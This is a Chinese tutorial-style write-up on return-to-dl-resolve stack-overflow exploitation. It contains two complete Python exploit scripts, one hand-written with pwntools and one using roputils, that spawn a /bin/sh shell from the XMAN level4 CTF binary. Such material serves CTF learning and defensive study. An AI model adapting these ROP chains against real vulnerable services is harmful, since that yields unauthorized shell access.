Linux栈溢出利用之return to dl-resolve实例

最近学习了一下漏洞原理与利用,学习到栈溢出漏洞利用的一些技巧,记录下自己的学习心得。关于return to dl-resolve的原理,网上有许多的文章已经写的很清楚了,就不赘述。本文主要是根据return to dl-resolve的原理,实现32位和64位环境下的漏洞利用。

0x00. 准备知识

(1) 实验环境:
64bit Ubuntu16.04, kernel : 4.4.0
(2) 32位与64位区别:
Linux下32位应用的参数传递主要是通过栈来传递;而64位应用的前六个参数分别通过RDI, RSI, RDX, RCX, R8和 R9传递,如果有多余的参数,才会通过栈来传递。因此,在覆盖返回值时,平衡堆栈时就需要用到gadget。
(3) return to dl-resolve
Linux下可执行文件ELF的动态链接时,采用了延迟绑定技术。原理是:动态链接的库里有许多函数,但是可执行文件ELF不会全部调用这些函数,有些函数直到程序运行结束也不会被调用。因此,Linux下的链接器动态链接时不会进行函数地址重定位,而是等到函数第一次被调用时,进行函数地址重地位,也就是通过_dl_runtime_resolve函数到库中查找该函数的实际地址,并将其写入到该函数的got表中。
当栈溢出后,我们就可以控制程序流程到dl-resolve,解析出system函数的地址,从而实现漏洞的利用。

0x01. 32位环境下的return to dl-resolve实例

下面以XMAN level4为例,分别使用手写和使用工具roputils实现漏洞利用。
return to dl-resolve by manul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python

from pwn import *

DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('127.0.0.1', 10086)

offset = 0x8c
stack_size = 0x400
vulfun = 0x0804844b
bss_addr = 0x804a024
base_stage = bss_addr + stack_size

pppr = 0x8048509
p_ebp_r = 0x804850b
leave_r = 0x80483b8

elf = ELF('./level4')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']

def main():
payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage)
payload1 += p32(100) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r)
p.sendline(payload1)

plt_start = 0x8048300
rel_plt = 0x80482b0
index_offset = (base_stage + 28) - rel_plt
dynsym_addr = 0x80481cc
dynstr_addr = 0x804822c
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - dynsym_addr) & 0xf)
fake_sym = fake_sym +align
index_dynsym = (fake_sym - dynsym_addr) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym + 16) - dynstr_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'B' * 4 + p32(plt_start) +p32(index_offset) + 'C'*4 + p32(base_stage+80)
payload2 += 'A'*8 + fake_reloc + 'D'*align
payload2 += fake_sym + 'system\x00'
payload2 = payload2.ljust(80, 'A')
payload2 += '/bin/sh\x00'
payload2 = payload2.ljust(100, 'A')
p.sendline(payload2)

p.interactive()

if __name__ == '__main__':
main()

return to dl-resolve by roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level4'
offset = 0x8c

rop = ROP(fpath)
addr_bss = rop.section('.bss')
addr_plt_read = 0x08048310
addr_got_read = 0x0804a00c

buf = rop.retfill(offset)
# roputils has changed call function in new version
buf += rop.call(addr_plt_read, 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9880)

p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

0x02. 参考文献:

1. ROP之return to dl-resolve
2. 通过ELF动态装载构造ROP链(Return-to-dl-resolve)